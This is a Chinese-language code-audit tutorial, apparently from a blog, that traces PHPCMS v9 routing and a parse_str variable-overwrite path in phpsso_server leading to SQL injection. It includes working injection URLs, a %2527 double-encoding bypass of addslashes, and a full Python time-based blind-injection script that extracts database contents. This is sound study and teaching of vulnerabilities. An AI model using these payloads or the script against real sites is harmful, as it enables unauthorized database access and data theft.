PHP:5.4.5

设置调试:https://blog.csdn.net/m0_46641521/article/details/120107786

PHPCMS变量覆盖到SQL注入

0x01:路由分析

phpcms是一个一分为二的cms,有一套类似应用的东西,包括phpcms,还有一套后台的管控中心,叫phpsso_server,有登录鉴权的作用,也有后端存储服务器的作用;大多数情况下部署在同一台服务器下;

01 入口

我希望我的入口都在index.php中,

代码逻辑可能在modules中,moudules中包括 controller控制器;例如在,moudules/admin/index.php中就有一堆控制器:

02 PHPMVC 的入口限制方式

如果在业务逻辑中,不小心有一个地方没写好,并且在这个地方没有用入口来做控制器的方法,那么就要在每一个业务逻辑中写一个鉴权,或者是引入其他代码的方式;那么写项目就会很难受;

例如:部署好的phpcms,理应是127.0.0.1:81/index.php为网站的主入口:

但是,PHP是以文件作为路由映射的,例如,截图中的文件,可以通过url/path访问到的;

http://127.0.0.1/phpcms/modules/admin/index.php

所以,一般再主入口中写一个变量,define一个变量(IN_PHPCMS);用这个主入口来引入这些控制器,并在控制器中检测变量在不在,如果不在,就退出去,认为是一个非常规的方式;

判断;

拿下一套代码,首先就可以看index.php文件;然后抽样看其他代码文件,看看他们的入口是怎么样的;例如:因为include了phpcms/base.php就都可以作为入口

用这种方式,先梳理出入口,主要入口都是从index.php过来,这样比较好做管理 ,以防有漏做权限控制的风险;

03 代码,路由分析

于是就开始看index.php代码,这里就该开始硬读了;

进入base.php

基本就是各种定义,定义了某些组件和load了其它的方法;不过这和路由相关性不大;虽然下面有些功能函数,但是没有调用;返回index.php

路由是什么?

一般在页面上点几下,出来的那个url就是路由

例如:http://127.0.0.1:81/index.php?m=link&c=index&a=register&siteid=1

分析路由:怎么把url找到具体的代码逻辑在哪里;从url做一个到具体代码的映射;

人话:从url找到具体是哪个控制器执行了什么动作或者从url找到对应的文件

以上述连接作为例子,继续跟进:

进入第二个,原因:第一个是phpsso_server属于是后台管理那边的;所以我们看下面的属于本系统下的;

create_app()只有一个load,传入:classname=application;继续跟进:

load_sys_class也只有一个load,传入了classname path initilize;继续跟进:

这一段,进行了引入模块和实例化对象;

从计算器中看到,它引入了install_package\phpcms\libs\classes\application.class.php(简写了);然后实例化了application对象;

然后F7到对应控制器下:

进入到了application的构造函数中,这里又load了param,继续跟进:

然后弯弯绕绕,又走到load_sys_class中,也就是前两张图片的那个

F7进入param的构造函数:

阅读代码:

$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);

这里就是给传入的参数转义,加上单引号注意使用的是$_POST进行接受:下面是实现

$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');

load_config是加载配置文件,同时设置默认参数,下面是实现(后面这两张图是专门重新调试得到的)

并且include $path(route.php)进行了默认赋值:

看回param.class.php中的三个判断,都是false;虽然调试后面有算式,但是确实是false

例如:这里可以清晰的看到false

然后F8继续跟进:回到了application.class.php中,也就是说,在param的处理中,是进行了默认参数的赋值处理;

这三个函数不必多说都是赋值的,这里F7跟进一下第二个:

这里第一行,检测getpost有没有传递cc是否为空;

F7步入safe_deal():

看到,这里是进行替换,将/和.去掉;

最后返回$c,虽然都是index,但是意义是不一样的;

F8后F7,看到init(),这里对application进行初始化和控制器的定义:

F7步入load_controller()

F7继续步入:看到这里有构造方法,应该是foreground的构造方法;

F7继续步入:看到这里有对IP的检查:不过跟进之后发现,目前没有设置ip限制;

这里要多F7走几步

看到了ipanned_cache是空的;

加载完,回到return new $classname那个地方;可以查看一下my_path是什么

my_path()中查看是否有拓展文件

load_controller基本就是进行拼接,拼接对应的路径,最后返回控制器(index);然后F7步入控制器的构造方法中查看其构造方法:

这里就只是load_app_func加载了应用函数库和seteid;假如在这个构造函数中还有父类的构造函数,那么父类的构造函数也是需要查看的

走完load_controller之后,回到init();于是进入到了call_user_function

也就是call_user_func(array($controller,ROUTE_A));controllerROUTE_A方法进行了调用;

再F7一步,就到了register(),这个时候,怎么把模块引入的全过程就算是了解了;其它地方的模块引入也是大致流程;区别在于有的模块会有父类构造函数,例如调试时遇到的param

不管什么代码,这个都需要跟;不同的代码,路由模式不一样,但大差不差;

最后得到结果:

m=link :文件夹
c=index:控制器
a=register:方法

踩坑

  1. 抓不住重点代码看哪里;
  2. 调试着调试着就忘了我的目的是啥;

0x02:业务分析

01 phpsso入口

还是得先分析路由,一上来就分析路由

路由清楚了,就看看具体的业务逻辑,因为已经知道了应该怎么进行引用;phpcms是一个一分为二的cms,有一套类似应用的东西,包括PHPcms,还有一套后台的管控中心,叫phpsso_server,在大多数情况下,他们是部署到一台主机上的。每当有一些跟用户权限,用户信息相关的业务发生时,phpcms会与phpsso_server进行通信,于是看看这里是怎么进行的;

先看服务端phpsso_server做了什么事的代码;

可以看到,在phpsso_server的index.php中的代码和phpcms中是一样的路由逻辑;所以就不需要多看路由了;

phpsso更多的是注重于数据库的交互;phpcms只有两个module,一个admin一个phpsso;

这两个模块的index.php都有继承父类,看phpsso/index.php

进入其父类的构造函数,在构造函数中会看到一个sys_auth的一个密码学验证

对于俺来说,知道加解密算法的要素:

知道:算法是什么,密钥是什么,加密后的数据是什么就行;

02 parsr_str

随后我们看到一个函数parse_str,parse_str()会产生变量覆盖的漏洞的函数;

parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);

在这里的操作,将$_POST['data']解密,然后变量覆盖,覆盖到$this->data,这里先记住,虽然不知道怎么利用;

03 无法解密

然后看解密,解密中看看代码是不是硬编码的,可以在install.php中进行查看;可以看到这里是一个随机数,不是硬编码的;

也就是说,我们无法自己想这个phpsso发送请求,因为没有authkey

那么,既然他存有这个东西,这个api,必然是phpcms能够自己向它发送请求,那么如果我们能够在某个位置控制请求(我们与phpcms通信,phpcms在后端完成加密的动作,并且能把我们的参数传递到phpsso上)是否就可以跟phpsso进行通信呢?

所以只能够借助phpcms与phpsso通信;也就是说,必须在phpcms中请求才能够将信息正确的传入phpsso;

要跟phpsso通信,必须经由phpcms;

所以接下来就看看是怎么通信的;

0x03:与phpsso通信

01 client类

目前是代审的基础,就没有太注重逻辑,就直接给了漏洞利用点在哪;

主要是要找一个client类;client负责与phpsso通信;

client类中有_ps_sent来传递消息,这个时候,就可以找哪里调用了ps_post了,然后但是只有_ps_send进行了调用;所以找到谁调用了ps_send就说明谁在和后端通信;

/**
* 发送数据
* @param $action 操作
* @param $data 数据
*/
private function _ps_send($action, $data = null) {
return $this->_ps_post($this->ps_api_url."/index.php?m=phpsso&c=index&a=".$action, 500000, $this->auth_data($data));
} /**
* post数据
* @param string $url post的url
* @param int $limit 返回的数据的长度
* @param string $post post数据,字符串形式username='dalarge'&password='123456'
* @param string $cookie 模拟 cookie,字符串形式username='dalarge'&password='123456'
* @param string $ip ip地址
* @param int $timeout 连接超时时间
* @param bool $block 是否为阻塞模式
* @return string 返回字符串
*/ private function _ps_post($url, $limit = 0, $post = '', $cookie = '', $ip = '', $timeout = 15, $block = true) {
$return = '';
$matches = parse_url($url);
$host = $matches['host'];
$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';
$port = !empty($matches['port']) ? $matches['port'] : 80;
$siteurl = $this->_get_url();
if($post) {
$out = "POST $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n" ;
$out .= 'Content-Length: '.strlen($post)."\r\n" ;
$out .= "Connection: Close\r\n" ;
$out .= "Cache-Control: no-cache\r\n" ;
$out .= "Cookie: $cookie\r\n\r\n" ;
$out .= $post ;
} else {
$out = "GET $path HTTP/1.1\r\n";
$out .= "Accept: */*\r\n";
$out .= "Referer: ".$siteurl."\r\n";
$out .= "Accept-Language: zh-cn\r\n";
$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n";
$out .= "Cookie: $cookie\r\n\r\n";
}
$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout); // var_dump($fp); if(!$fp) {
return '';
} stream_set_blocking($fp, $block);
stream_set_timeout($fp, $timeout); // var_dump(fgets($fp)); @fwrite($fp, $out);
$status = stream_get_meta_data($fp); if($status['timed_out']) return '';
while (!feof($fp)) {
if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) break;
} $stop = false;
while(!feof($fp) && !$stop) {
$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));
$return .= $data;
if($limit) {
$limit -= strlen($data);
$stop = $limit <= 0;
}
}
@fclose($fp); //部分虚拟主机返回数值有误,暂不确定原因,过滤返回数据格式
$return_arr = explode("\n", $return);
if(isset($return_arr[1])) {
$return = trim($return_arr[1]);
}
unset($return_arr); return $return;
}

于是,找哪里调用了ps_post基本就可以认为哪里在与后端通信,然后发现只有ps_send调用了ps_post,也就是说,哪里调用ps_send哪里就在与后端通信;

发现基本都在同一个类中,然后接着往上找;

一般是找一些未授权的,大家都能用的功能触发;

我这里找checkname;然后checkname接着向上找:

于是哪里触发这个public_checkname_ajax就行;

02 正常触发

在注册的时候,name验证,会触发一个请求,这个请求就是所需要的请求:

http://127.0.0.1:81/index.php?clientid=username&username=debug002&m=member&c=index&a=public_checkname_ajax&_=1676903611485

最后跟进进入ps_post,在

$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);

建立一个连接,然后在下图蓝条位置发送请求;

注意看调试信息中的post信息中的后一条信息,那就是加密的信息,同时$url也是请求的后台的地址;

插一句:

其实这个地址我们是能够直接访问得到的,但是由于没法通过post传递正确的加密信息,所以会返回失败的代码0;(这个666是我自己写的,不用管,看0就行;下面的图中就有echo'666';)所以需要从phpcms中请求phpsso_server;

在之前的调试$status = stream_get_meta_data($fp);这一步F7,于是phpsso_server/phpcms/modules/phpsso/index.php能够接受到请求:

然后进入父类的构造方法中;一路看到33行;这里会进行解析;

这一步过后,就能够在this->data中查看到传入的信息,已经将debug002传递过来了;

此时此刻,就说明我们已经将信息传递过来;接着跟进;

走完两个构造函数和一个初始化函数;进入checkname函数;看看它的内容;

后面有一步$this->db->get_one()

显然是一个对数据库进行操作的函数,进入这个函数:

然后能看到,这里判断之后会进入一个sqls函数,进入sqls函数:

看看具体是做了什么;

其实发现这里就是一个字符串拼接,并没有预编译;这里会返回一个拼接好的字符串;

接着跟,进入get_one

然后发现整个过程是进行的拼接;

于是传入一个debug002'看看是啥:

哈哈哈,笑死,用户名不合法;不让传,用burp;6,burp也传不进去;

用浏览器传,我们在调试的时候会发现,这里是用请求接口的方式对后端进行的请求,所以调试过程中的那个url请求可以拿到浏览器来用;哦,然后找到原因了,是用的版本不对,所用版本中加了一个is_username的检测;害,干脆找正确的来,来来回回改了很多了:

总之,现在传过来了:

发现这里居然有\\\',然后找找哪里加了反斜线:

这里加了反斜线:(param那个类好像)

然后这里还有一个:

添加后:

现在不急着攻击,先看看这个信息是怎么流转的;

0x04:输入流转

01 信息流转

/index.php?clientid=username&username=debug002'&_=1677052781721&m=member&c=index&a=public_checkname_ajax 

if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
} $data['username']="debug002\'" if(CHARSET != 'utf-8') {
$username = iconv('utf-8', CHARSET, $username);
$username = addslashes($username);
} $username = "debug002\\\'" parse_str($data,$this->data) ==> $this->data['username'] = "debug002\\\'" SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE `username` = 'debug002\\\'' LIMIT 1 ==>⽆法注⼊

02 parse_str利用

parae_str()利用:https://www.php.cn/php-weizijiaocheng-405803.html

parse_str()不仅能够将字符串拆分为变量,还会自动进行urldecode;

我们是希望传递过去的是一个debug002'

所以考虑后面会接受到一个',也就是%27

由于addslashes是针对单引号,之类,对%不起作用;

所以在传递debug002'的时候,传递成debug002%27;由于传递的时候会自动进行一次url解码;所以传入:debug002%2527

调试结果:

成功解析出单引号:

执行语句:

SELECT * FROM `phpcmsv9_1.5.0`.`v9_15_sso_members` WHERE  `username` = '1' and updatexml(1,concat(0x7e,version()),1)#' LIMIT 1;

在Navicat中执行命令能够执行:

但是这里是没有回显的,也没法通过回显来进行判断,所以用sqlmap来跑;

03 为什么这里没回显呢?

之前提到过,它是请求api的,然后根据返回的数值,cms再返回页面;

所以就得进入后边api调试一下,其实也简单;

在这里:为了写脚本方便,换了一个payload:

http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr((select database()),1,1))>79,sleep(2),1)%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax

调用了一个call_user_func,然后进入checkname,由于没带值,所以这里is_return=0

然后跟入执行SQL的地方:

看到了$res是有值的;

然后回来这里:判断$r是不是空的;显然查了一堆东西,不是空的;

注意这里是检查是不是空,而不是检查返回的是什么;所以只要有返回,值就是固定的;

之前的用的报错,返回应该是空的,所以输出了1,再加上后边还有个判断,于是乎页面输出了1

输出一个-1;这里我也有点没看懂,大概是将-1给了$status

最后退出,给了个0;

04 sqlmap利用

哎哟,我找的这个username的跑sqlmap跑不出来;

试试盲注:改个脚本:

import requests

url1 = "http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+"
url2 = "%23+&_=1677052781721&m=member&c=index&a=public_checkname_ajax" result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127 while head < tail:
mid = (head + tail) >> 1
payload = "select database()"
# 查数据库
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查列名字-id.flag
# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
# 查数据
# payload = "select flaga from ctfshow_flagx"
data = f"select 1,2,3,4,5,6,7,8,9,10,11,12,if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)"
url = url1 + data +url2
# print(url)
# exit()
try:
r = requests.post(url, timeout=2)
tail = mid
except Exception as e:
head = mid + 1 if head != 32:
result += chr(head)
else:
break
print(result) # """
# http://127.0.0.1:82//index.php?clientid=username&username=1%2527+union+if(ascii(substr((select database()),1,1))>79,sleep(5),1)%23+&_=1677052781721&=member&c=index&a=public_checkname_ajax
# """ # select if(ascii(substr((select database()),1,1))>79,sleep(5),1)
# select if(ascii(substr((select database()),1,1))>79,sleep(2),1);

然后勉强算是成功了;

踩坑

  1. 就是说咋安装好之后,就别动了;要是后面有什么fsokopen无法请求,phpserver接收不到请求信息,咋直接重启PHPstorm,编译器抽个风改了不知道重装了几次。。。。结果重启就行;
  2. 代码改了很多,和讲师的代码不一样,很多地方都需要修改;

[代码审计基础 14]某cms变量覆盖到N处漏洞的更多相关文章

  1. dedecms SESSION变量覆盖导致SQL注入漏洞修补方案

    dedecms的/plus/advancedsearch.php中,直接从$_SESSION[$sqlhash]获取值作为$query带入SQL查询,这个漏洞的利用前提是session.auto_st ...

  2. 代码审计-MetInfo CMS变量覆盖漏洞

    0x01 代码分析 安装好后是这样的 漏洞文件地址\include\common.inc.php 首先是在这个文件发现存在变量覆盖的漏洞 foreach(array('_COOKIE', '_POST ...

  3. PHP代码审计理解(一)----Metinfo5.0变量覆盖

    0x01 漏洞简介 这个漏洞是metinfo5.0变量覆盖漏洞,并且需要结合文件包含.我使用的cms版本是5.3,事实上已经修复了这个漏洞(5.0的cms源码已经找不到了哈),但是我们可以借他来学习理 ...

  4. 『忘了再学』Shell基础 — 14、环境变量(二)

    目录 1.PS1变量的作用 2.PS1变量的查看 2.PS1可以支持的选项 3.PS1环境变量的配置 4.总结 提示: 在Linux系统中,环境变量分为两种.一种是用户自定义的环境变量,另一种是系统自 ...

  5. 变量覆盖漏洞学习及在webshell中的运用

    一.发生条件: 函数使用不当($$.extract().parse_str().import_request_variables()等) 开启全局变量 二.基础了解: 1.$$定义 $$代表可变变量, ...

  6. PHP变量覆盖漏洞小结

    前言 变量覆盖漏洞是需要我们需要值得注意的一个漏洞,下面就对变量覆盖漏洞进行一个小总结. 变量覆盖概述 变量覆盖指的是可以用我们自定义的参数值替换程序原有的变量值,通常需要结合程序的其他功能来实现完整 ...

  7. php代码审计之变量覆盖

    变量覆盖一般由这四个函数引起 <?php $b=3; $a = array('b' => '1' ); extract($a,EXTR_OVERWRITE); print_r($b); / ...

  8. PHP代码审计笔记--变量覆盖漏洞

    变量覆盖指的是用我们自定义的参数值替换程序原有的变量值,一般变量覆盖漏洞需要结合程序的其它功能来实现完整的攻击. 经常导致变量覆盖漏洞场景有:$$,extract()函数,parse_str()函数, ...

  9. CTF——代码审计之变量覆盖漏洞writeup【2】

    题目: 基础: 所需基础知识见变量覆盖漏洞[1]  分析: 现在的$a=’hi’,而下面的函数需满足$a=’jaivy’才可以输出flag,那么需要做的事就是想办法覆盖掉$a原来的值. 那么出现的提示 ...

  10. 2020/2/1 PHP代码审计之变量覆盖漏洞

    0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...

随机推荐

  1. 图神经网络之预训练大模型结合:ERNIESage在链接预测任务应用

    1.ERNIESage运行实例介绍(1.8x版本) 本项目原链接:https://aistudio.baidu.com/aistudio/projectdetail/5097085?contribut ...

  2. 在Linux配置git

    生成ssh ssh-keygen -t rsa 可以不设置密码,一路回车就行,会在 ~/.ssh/下生成两个ssh key: ssh-add ~/.ssh/id_rsa.pub 这一步是使用刚才生成那 ...

  3. 【开发必备】单点登录,清除了cookie,页面还保持登录状态?

    背景 本地搭建了一台认证服务器.两台资源服务器,看看请求的过程 开始 没登录,直接请求资源服务器,结果跳转到的登录页面 登录后,请求了认证服务器的登录接口,然后顿重定向,最后回到了资源服务器的接口,页 ...

  4. Isaac SDK & Sim 环境

    Isaac 是 NVIDIA 开放的机器人平台.其 Isaac SDK 包括以下内容: Isaac Apps: 各种机器人应用示例,突出 Engine 特性或专注 GEM 功能 Isaac Engin ...

  5. 【Shell脚本案例】案例6:查看网卡实时流量

    一.背景 监控,对服务器查看实时流量 了解服务器的数据传输量 二.说明 1.获取网络流量 ifconfig查看网卡就能看到数据包传输情况 2.可以使用工具查看 iftop cat /proc/net/ ...

  6. <三>function函数对象类型的应用示例

    std::function是一组函数对象包装类的模板,实现了一个泛型的回调机制.function与函数指针比较相似,优点在于它允许用户在目标的实现上拥有更大的弹性,即目标既可以是普通函数,也可以是函数 ...

  7. 如何用 JavaScript 编写你的第一个单元测试

    前言 测试代码是使代码安全的第一步.做到这一点的最好方法之一是使用单元测试,确保应用程序中的每个小功能都能发挥其应有的作用--特别是当应用程序处于边缘情况,比如无效的输入,或有潜在危害的输入. 为什么 ...

  8. UIAutomator测试框架介绍

    uiautomator简介 UiAutomator是Google提供的用来做安卓自动化测试的一个Java库,基于Accessibility服务.功能很强,可以对第三方App进行测试,获取屏幕上任意一个 ...

  9. 常用的渗透测试工具——SQLMap安装

    SQLMap是一个自动化的SQL注入工具,其主要功能是扫描.发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL.Qracle.PostgreSQL.Microsoft ...

  10. java后端整合极光消息推送

    目录 1.简介 2.极光Demo 2.1.进入极光官网--应用管理 2.2.快速集成一个Android/iOS的SDK​ 2.3.java服务端代码 3.参考资料 1.简介 简单来说,就是androi ...